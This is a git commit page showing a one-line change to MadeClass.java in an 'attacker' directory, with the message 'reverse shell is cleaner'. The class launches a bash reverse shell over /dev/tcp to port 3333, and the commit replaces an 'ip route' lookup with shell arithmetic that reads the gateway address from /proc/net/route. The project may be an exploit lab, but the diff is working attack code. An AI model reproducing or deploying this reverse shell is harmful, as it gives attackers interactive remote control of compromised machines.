Browse Source

reverse shell is cleaner

master
Manvan33 10 months ago
parent
commit
e2351b753d
  1. 2
      attacker/http/src/MadeClass.java

2
attacker/http/src/MadeClass.java

@ -10,7 +10,7 @@ public class MadeClass {
// Reverse shell
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("bash", "-c", "bash -i >& /dev/tcp/`ip route | grep default | cut -d ' ' -f 3`/3333 0>&1");
processBuilder.command("bash", "-c", "bash -i >& /dev/tcp/$(for i in $(echo `cat /proc/net/route | head -n 2 | tail -n 1 | cut -f 3` | sed -E 's/(..)(..)(..)(..)/\\4 \\3 \\2 \\1/' ) ; do printf '%d.' $((16#$i)); done | sed 's/.$//')/3333 0>&1");
try {
processBuilder.start();
} catch (Exception e) {

Loading…
Cancel
Save